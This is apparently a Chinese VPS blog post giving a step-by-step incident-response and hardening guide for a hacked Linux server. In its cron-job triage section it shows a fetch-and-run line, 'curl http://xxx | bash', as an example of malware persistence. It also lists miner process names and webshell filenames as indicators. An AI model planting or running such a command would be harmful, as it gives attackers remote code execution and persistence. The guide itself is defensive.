服务器被黑了怎么办:应急处理流程

小够的服务器被黑应急流程:先确认、再隔离、后溯源清理,一套完整的排查清单与加固方案,别慌,按步骤来。跟着做就行,够用不折腾。

我是小够,只推够用的 VPS。

先说一句:服务器被黑,不是世界末日。我见过太多人一发现异常就手忙脚乱——直接关机、直接重装、甚至直接删机器,结果把取证的线索全毁了,黑客留的后门还在备份里,来回折腾三遍。这篇给你一套完整的应急流程:确认、隔离、溯源、清理、加固,一步一步来,慌也没用,流程才有用。建议收藏,真出事的时候照着走就行,不用临时到处搜教程。

第一步:先确认,是不是真的被黑了

别一看到 CPU 100% 就喊被黑。先看这几个信号,两个以上中了再按被黑处理:

  1. CPU / 带宽异常:机器什么都没跑,CPU 常年 90% 以上,或者流量统计里出站流量暴涨(被当矿机、被当肉鸡发包了)。
  2. 出现不认识的进程:top 里有叫 kdevtmpfsi、kinsing 这类奇怪名字的进程——这两个是挖矿木马的经典名字,看到基本实锤。
  3. SSH 登录记录异常:last 命令看到半夜三点有陌生 IP 登录成功,或者 /var/log/auth.log 里满屏的 Failed password。
  4. 文件被改动:网站首页被挂马、多了不认识的 PHP 文件、crontab 里多了定时任务。
  5. 商家发警告:收到商家邮件说你的机器对外攻击、发垃圾邮件、端口扫描——这时候别觉得是误报,先查。

排除法:如果只是 CPU 高,先看是不是自己的定时任务、备份脚本、网站被爬虫刷了。htop 按 CPU 排序看一眼进程归属,iftop 看流量去向,很多"被黑"其实是自己程序的 bug。

第二步:隔离,但别急着关机

确认被黑之后,很多人第一反应是关机。这步错了:关机等于帮黑客擦掉内存里的证据,而且重启后木马的自启动项照样会起来,等于白关。

正确做法是网络隔离,机器保持运行:

  1. 先断外网不断机器:在商家后台的防火墙(或者云平台的安全组)里,把出站规则全禁掉,只留你自己的 IP 进 SSH。Vultr、DigitalOcean、Linode 这些大厂云后台都有防火墙面板,几分钟就能配好;小商家没有面板的,用 iptables 本地封:iptables -P OUTPUT DROP 再放行自己的管理 IP。
  2. 改掉所有密码和密钥:SSH 密码、数据库密码、网站后台密码、API 密钥——假设全泄露了,先改了再说。注意:要在隔离之后改,不然改完黑客照样能看到。
  3. 快照/镜像备份现场:如果商家支持快照(Vultr、DO、Linode 都支持,搬瓦工这类也有),先打一个快照。这是"犯罪现场",后面溯源、或者清理失败要回滚都用得上。快照打完,记得这个快照本身是被污染的,只能用来分析,不能直接恢复上线。

隔离做完,机器还在跑,但黑客进不来、数据出不去,你就有时间慢慢查了。

第三步:排查清单——黑客一般藏在哪

按这个清单从上到下过一遍,90% 的入侵痕迹都在这几个地方:

1. 登录痕迹

last                    # 看最近登录成功的记录
lastb                   # 看登录失败的记录
cat /var/log/auth.log | grep "Accepted"   # Ubuntu/Debian
cat /var/log/secure | grep "Accepted"      # CentOS 系

重点看:有没有陌生 IP 登录成功、有没有新建的不认识的用户(cat /etc/passwd 看最后一行)。

2. 定时任务

crontab -l              # 当前用户的定时任务
crontab -l -u root      # root 的
ls /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/crontabs/

木马最喜欢藏在这里:一条 curl http://xxx | bash 的定时任务,每分钟拉一次,保证你杀了进程它还能复活。

3. 可疑进程和网络连接

ps aux --sort=-%cpu | head -20     # CPU 占用最高的进程
netstat -tulpn                     # 监听的端口
ss -tunap | grep ESTAB              # 正在建立的对外连接

对外连到陌生 IP:端口 的进程,记下 PID 和路径,基本就是木马本体。

4. SSH 后门

cat ~/.ssh/authorized_keys         # 有没有多出来的公钥
cat /root/.ssh/authorized_keys

黑客最爱干的事:往 authorized_keys 里塞自己的公钥。这样就算你改了密码,他照样能免密登录。看到不认识的 key,直接删。

5. 系统文件被篡改

ls -lt /usr/bin/ | head            # 最近被改过的系统命令
which ls ps netstat                 # 有些木马会替换这些命令来隐藏自己

如果 ps、netstat 这些命令的修改时间很新、或者 ls 看不到可疑进程,说明命令可能被替换了。这时候用 busybox 这类静态编译的工具再查一遍,或者直接看 /proc/ 目录。

6. 网站目录

网站被黑多半是 Web 层面的:上传漏洞、老版本 WordPress / 插件漏洞。查 find /var/www -name "*.php" -mtime -7 看最近 7 天新增的 PHP 文件,名字像 alfa.php、wso.php、shell.php 的,基本就是 webshell。

第四步:溯源——找到入口,不然白清理

清理之前必须回答一个问题:黑客是怎么进来的? 找不到入口,清理完第二天照样被黑。常见入口按概率排序:

  1. 弱密码 / 密码复用:123456、和邮箱一样的密码、所有机器一个密码。SSH 爆破是全网 24 小时不停的,弱密码机器平均几天就被扫出来。
  2. SSH 密码登录 + 默认端口:22 端口开着、允许密码登录,等于门口挂了个"欢迎爆破"的牌子。
  3. 应用漏洞:WordPress 插件两年没更新、宝塔面板老版本、Redis 未授权访问、Docker API 2375 端口裸奔。这些是批量扫描的重灾区。
  4. 供应链 / 钓鱼:在自己电脑上中的马,顺着 SSH 密钥摸上服务器的也有。

溯源方法:看 auth.log 里第一次成功登录的时间和 IP,看网站 access log 里攻击 payload 的时间点,两个一对,入口就清楚了。实在查不出来,按"全部入口都堵上"的思路做加固(见第六步)。

第五步:清理——能重装就重装

小够的建议很直接:个人小站、没复杂环境的,直接重装系统。这是唯一能 100% 确认干净的办法。清理木马听起来省事,但 rootkit 级别的后门你查不出来,留着就是定时炸弹。

重装流程:

  1. 备份数据(只备份你自己的数据:网站文件、数据库 dump、配置文件;别备份整个系统);
  2. 商家后台重装一个干净的系统(选 LTS 版本,Ubuntu 24.04 LTS 或 Debian 12);
  3. 人工检查备份里有没有 webshell / 可疑文件,确认干净再传上去;
  4. 数据库导入前也检查一遍,有些木马会在数据库里插恶意触发器;
  5. 按第六步做加固,再上线。

不能重装的情况(生产业务、环境复杂):按第三步的清单手动清理——杀进程、删定时任务、删后门用户、删 authorized_keys 里的陌生 key、删除 webshell、恢复被篡改的系统文件。清理完跑一遍 rkhunter --check 或 chkrootkit 扫 rootkit。清理完 24 小时内盯着日志,确认没有复发。

第六步:加固——别让同样的事发生第二次

被黑一次是学费,被黑两次是学傻。加固清单,按重要性排序:

  1. SSH 只用密钥登录,禁用密码:PasswordAuthentication no,这是性价比最高的一条。密钥自己电脑上生成,ssh-keygen 一把梭。
  2. 改 SSH 端口 + fail2ban:改端口防不住定向攻击,但能挡掉 99% 的批量爆破;fail2ban 自动封禁爆破 IP,双保险。
  3. 非 root 用户 + sudo:禁用 root 直接登录,日常用普通用户加 sudo。
  4. 自动安全更新:Ubuntu 开 unattended-upgrades,Debian 同理。很多入侵利用的是"已知漏洞 + 没打补丁"。
  5. 最小化暴露面:用 ufw / 安全组,只开必要的端口。Redis、MySQL、Docker API 这些,永远不要直接暴露在公网——这是新手被黑的重灾区。
  6. 网站程序保持更新:WordPress 核心、主题、插件,有更新就升。实在不想折腾的,用商家一键包也要记得定期更新。
  7. 定期备份:参考本站的 VPS 备份方案:321 原则,备份是最后的兜底,被黑、商家跑路、自己手滑删库都靠它。

商家能帮你什么、不能帮你什么

实话实说:服务器被黑,商家基本帮不上忙。VPS 是 unmanaged(非托管)的,系统里的事商家不管,这是行规。大厂云(Vultr、DigitalOcean、Linode)和便宜 VPS 在这点上没区别。

商家能做的只有三件:快照/重装、后台防火墙/VNC 进机器(SSH 挂了的时候救命用)、发滥用警告告诉你机器在对外攻击。买机器的时候看看有没有快照功能、防火墙好不好用,关键时刻能省大事。具体商家后台功能可以看本站的商家后台面板导览。

挖矿木马:最常见的入侵长什么样

说个实话:个人 VPS 被黑,十次有八次是被当矿机了。黑客对你那点数据没兴趣,他要的是你的 CPU 和带宽。挖矿木马有几个典型特征,认出来就能快速定位:

典型症状:CPU 常年 90%+,进程名伪装成系统进程(kdevtmpfsi、kinsing、ddg、systemd-private 这类),删了过几分钟又复活,crontab 里有定时下载脚本的任务。

为什么删了又复活:木马一般是"三件套"——主进程 + 守护进程 + 定时任务。你只杀主进程,守护进程会立刻拉起;你连守护进程一起杀,定时任务下一分钟又下载回来。必须三件套一起清:先 crontab -e 删定时任务,再杀进程,最后删文件,顺序别反。

文件藏在哪:常见位置是 /tmp/、/var/tmp/、/dev/shm/(这个目录重启清空,所以木马爱用)、用户家目录下的隐藏文件夹。ls -la 看隐藏文件,find /tmp -type f -mmin -60 找最近一小时新增的文件。

特别提醒:挖矿木马一般不破坏数据,它只想安静挖矿。所以中了挖矿木马反而是"好消息"——说明入侵者大概率没动你的数据。但别掉以轻心,能进来的入口,别人也能进来偷数据。

不同用途的机器,应急重点不一样

建站的机器:重点是网站目录和数据库。先下线网站(503 维护页),防止挂马页面继续坑访客;检查数据库有没有被插恶意内容(WordPress 的 wp_posts 表、wp_options 表是重灾区);恢复前把网站程序升到最新版,不然就是给黑客留着门。

跑业务的机器(电商、API 服务):重点是数据完整性和密钥。假设所有 API 密钥、支付回调密钥都泄露了,全部轮换一遍;检查有没有数据被导出(看数据库的慢查询日志、看异常的大流量出站);如果涉及用户数据,评估一下要不要通知用户——瞒报的代价比通报大得多。

学习折腾的机器:重点是别连累别人。学习机被黑最常见的是被当跳板去攻击别人,商家发滥用警告、甚至直接封机器的,多半是这种情况。先隔离,再慢慢查,不着急,反正上面没重要数据。

事后 72 小时观察清单

清理(或重装加固)完别就撒手不管,黑客可能留了你没发现的后门。72 小时内每天看一眼:

  • last 有没有陌生登录
  • CPU / 流量有没有异常波动(商家后台的监控图最直观)
  • crontab -l 有没有新增任务
  • 网站目录有没有新增可疑文件
  • auth.log 里爆破尝试的量级(有尝试很正常,量级暴涨不正常)

72 小时风平浪静,基本算过关了。之后把检查频率降到每周一次,配合自动化的监控告警(可以看本站的监控告警自建,Uptime Kuma 配一台 512M 的小鸡就够)。

进阶:想彻底一点,还可以做这些

上面是"够用"的流程,如果你想再往前走一步:

  1. SSH 证书登录:比密钥更进一步,适合管多台机器的人,给每台机器发短期证书,离职/换电脑直接吊销,不用满世界删公钥。
  2. 入侵检测:AIDE 或 Tripwire 做文件完整性监控,系统文件被改了立刻告警。配置有点折腾,适合爱折腾的人。
  3. 异地登录告警:写个小脚本,SSH 登录成功就发 Telegram / 邮件通知。半夜三点收到"你的服务器有人登录了"的推送,比什么监控都提神。
  4. 定期演练:每季度按这篇的流程走一遍排查清单,就当体检。真出事的时候,熟练度就是止损速度。

联系商家:什么时候该找,找的时候说什么

前面说了,商家不管你系统里的事,但有两种情况必须找商家:

1. 收到滥用(Abuse)警告:邮件标题一般是 “Abuse Report” 或"滥用投诉",意思是你的机器在对外攻击、发垃圾邮件、端口扫描。别慌,也别无视——无视的后果是商家直接关机甚至删机器。正确姿势:先按上面的流程隔离排查,然后回一封工单,说明"已发现异常进程,正在处理 / 已重装",附上处理结果。大厂云对 abuse 的容忍度是按次算的,处理态度好一般不会直接封号。

2. SSH 完全连不上:木马把 sshd 搞挂了、或者你把自己锁在防火墙外面了。这时候用商家后台的 VNC / 控制台进去,这是救命通道。买机器时就确认有没有这个功能,别等出事了才发现没有——本站的商家后台面板导览里列了各家后台一般带哪些功能。

跟商家沟通记住一条:说事实,不说情绪。工单写清楚"什么时候发现的、看到了什么异常、已经做了什么处理",客服处理起来快得多。英文工单也一样,简单句+时间线,比大段抒情管用。

要不要报警?看情况

个人小站被当矿机,报警基本没用——攻击 IP 全是境外肉鸡,查不到源头,警察也爱莫能助。但以下情况建议留证据、考虑报警:

  • 数据库被拖库,且涉及他人个人信息;
  • 被勒索(文件被加密、收到勒索信);
  • 损失金额较大,且有明确的境内线索。

证据怎么留:被黑期间的日志(auth.log、网站 access log、数据库日志)打包存好,快照留着别删。这些现在用不上,万一哪天用上了,没有就是真没有。

常见问题

Q:发现被黑第一时间该做什么?

A:三件事按顺序:网络隔离(封出站、只留自己 IP 进 SSH)、改掉所有密码密钥、打快照留现场。别急着关机,别急着重装,先保住证据和数据的控制权。

Q:小网站没人访问也会被黑吗?

A:会。黑客不挑食,全网扫描是自动化的,弱密码、未授权 Redis、老版本面板,扫到就进。机器一上线就在被扫描,跟你网站有没有流量没关系。

Q:重装系统数据就全没了吗?

A:所以平时就要备份。应急时先只备份自己的数据文件和数据库,别整机备份(会把木马一起备回去)。备份方案看本站的 VPS 备份 321 原则。

Q:改 SSH 端口真的有用吗?

A:对批量爆破有用,能挡掉绝大多数无脑扫描;对定向攻击没用。所以改端口 + fail2ban + 密钥登录三件套一起上,别只依赖改端口。

Q:商家会主动帮我清理木马吗?

A:不会。VPS 默认都是非托管的,系统层面的事商家不负责。商家能做的是快照、重装、防火墙、VNC 救援。清理和加固是自己的事,或者花钱请运维。

Q:快照里有木马,还能用来恢复吗?

A:不能直接恢复上线。被污染的快照只能用来取证分析(比如对比文件差异找后门)。要恢复业务,用重装后的干净系统 + 人工检查过的备份。

Q:怎么判断清理干净了?

A:三个标准:72 小时内没有异常登录、没有新增可疑进程和定时任务、流量曲线恢复正常。都满足,基本算干净了。之后保持每周看一次日志,配合监控告警长期观察。